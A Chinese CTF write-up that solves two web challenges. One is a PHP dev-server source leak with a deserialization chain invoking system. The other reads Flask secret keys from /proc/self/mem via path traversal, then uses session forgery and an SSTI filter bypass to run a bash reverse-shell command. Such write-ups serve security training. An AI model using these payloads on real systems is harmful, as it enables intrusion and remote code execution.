打不动,根本打不动,还是来复现吧

ezphp

进去之后啥也没有,一个白页。版本PHP/7.4.21这里是有一个PHP<=7.4.21 Development Server源码泄露漏洞可以读到源码。
要关一下bp的自动修改Content-Length的功能,然后修改包:
ezphp
发现是一个反序列化的题。

题目

<?php
class  one{
    public function __call($name,$ary)
    {
        if ($this->key === true||$this->finish1->name) {
            if ($this->finish->finish){
                call_user_func($this->now[$name],$ary[0]);
            }
        }
    }
    public function neepuctf(){
        $this->now=0;
        return $this->finish->finish;
    }
    public function __wakeup(){
        $this->key=True;
    }
}
class two{
    private $finish;
    public $name;
    public function __get($value){

        return $this->$value=$this->name[$value];
    }

}

class three{
    public function __destruct()
    {
        if($this->neepu->neepuctf()||!$this->neepu1->neepuctf()){
            $this->fin->NEEPUCTF($this->rce,$this->rce1);
        }

    }
}
class four{
    public function __destruct()
    {
        if ($this->neepu->neepuctf()){
            $this->fin->NEEPUCTF1($this->rce,$this->rce1);
        }

    }
    public function __wakeup(){
        $this->key=false;
    }
}
class five{
    public $finish;
    private $name;

    public function __get($name)
    {
        return $this->$name=$this->finish[$name];
    }
}

$a=$_POST["neepu"];
if (isset($a)){
    unserialize($a);
}



妈呀干了好长时间,踩了几个坑
一个是__call()包含两个参数, 第一个参数是那个不存在的方法的方法名,是个字符串类型;
第二个参数是那个不存在的方法的所有参数,是个数组类型
第一次见到$a->neepu->finish->finish=true;这种法子 太酷了

exp

<?php //写的很乱
class  one{
    public $finish;
    public $key=true;
    
    public $now=array("NEEPUCTF1"=>"system");
    public function __call($name,$ary)
    {
        if ($this->key === true||$this->finish1->name) {
            if ($this->finish->finish){
                call_user_func($this->now[$name],$ary[0]);
            }
        }
    }
    public function neepuctf(){
        
        return $this->finish->finish;
    }

}



class four{
    public $neepu;
    public $rce="id";
    public $fin;
    
    public function __destruct()
    {
        if ($this->neepu->neepuctf()){
            $this->fin->NEEPUCTF1($this->rce,$this->rce1);
        }

    }
    public function __wakeup(){
        $this->key=false;
    }
}


$a=new four();
$a->neepu=new one();
$a->neepu->finish->finish=true;
$a->fin=new one();
$a->fin->finish->finish=true;
$a->fin->now=array("NEEPUCTF1"=>"system");
echo urlencode(serialize($a));



然后就能出了

Cute Cirno (Revenge)

一个session伪造+ssti,不过文件名未知,urandom的seed不好搞。原版题没关debug还可以算pin码直接os.popen,重新上线后只能老老实实做了。
首先通过任意文件读取读proc/self/cmdline

cmdline文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息

得到python3CuteCirnoRev.py文件名
然后读到源码

CuteCirnoRev.py

from flask import Flask, request, session, render_template, render_template_string
import os, base64
from NeepuF1Le import neepu_files

CuteCirnoRev = Flask(__name__,
                  static_url_path='/static',
                  static_folder='static'
                  )

CuteCirnoRev.config['SECRET_KEY'] = str(base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*"

@CuteCirnoRev.route('/')
def welcome():
    session['admin'] = 0
    return render_template('welcome.html')


@CuteCirnoRev.route('/Cirno')
def show():
    return render_template('CleverCirno.html')


@CuteCirnoRev.route('/r3ADF11e')
def file_read():
    filename = "static/text/" + request.args.get('filename', 'comment.txt')
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    return neepu_files(filename, start, end)


@CuteCirnoRev.route('/genius')
def calculate():
    if session.get('admin') == 1:
        print(session.get('admin'))
        answer = request.args.get('answer')
        if answer is not None:
            blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
                         'posix', 'builtins', 'namespace','open', 'read', '\\', 'self', 'mro', 'base',
                         'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import',
                         'include','request', '{{', '}}', '"', 'config','=']
            for i in blacklist:
                if i in answer:
                    answer = "⑨" +"""</br><img src="static/woshibaka.jpg" width="300" height="300" alt="Cirno">"""
                    break
            if answer == '':
                return "你能告诉聪明的⑨, 1+1的answer吗"
            return render_template_string("1+1={}".format(answer))
        else:
            return render_template('mathclass.html')

    else:
        session['admin'] = 0
        return "你真的是我的马斯塔吗?"


if __name__ == '__main__':
    CuteCirnoRev.run('0.0.0.0', 5000, debug=False)


我们可以通过读取/proc/self/maps来获取堆栈分布,而后读取/proc/self/mem,通过真正则匹配筛选出我们需要的key
import  re
import requests
url="http://neepusec.fun:28241/r3ADF11e"
maps_url = f"{url}?filename=../../../proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
print(maps)
cookie=''
for m in maps:
    print(m)
    start, end = m.split("-")[0], m.split("-")[1]
    Offset, Length = str(int(start, 16)), str(int(end, 16))
    read_url = f"{url}?filename=../../../proc/self/mem&start={Offset}&end={Length}"
    print(read_url)
    s = requests.get(read_url).content
    # print(s)
    rt = re.findall(b"(.{40})\*NeepuCTF\*", s)
    #rt = re.findall(b"[a-z0-9]{32}\*abcdefgh", s)
    if rt:
        print(rt)#原来是rt[0]但我跑不出来 怪




key
然后就可以session伪造开始ssti了,这个ssti过滤的还是很多的
这里直接用session|string将session转为字符串然后截取进行ssti
构造{'admin': 1,'__globals__':1,'os':1,'read':1,'popen':1,'bash -c \'bash -i >& /dev/tcp/ip/11111 <&1\'':1}
然后{%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:136]))%}(注意ip和端口的长度)

然后就没有然后了

最后修改:2023 年 05 月 23 日
如果觉得我的文章对你有用,请随意赞赏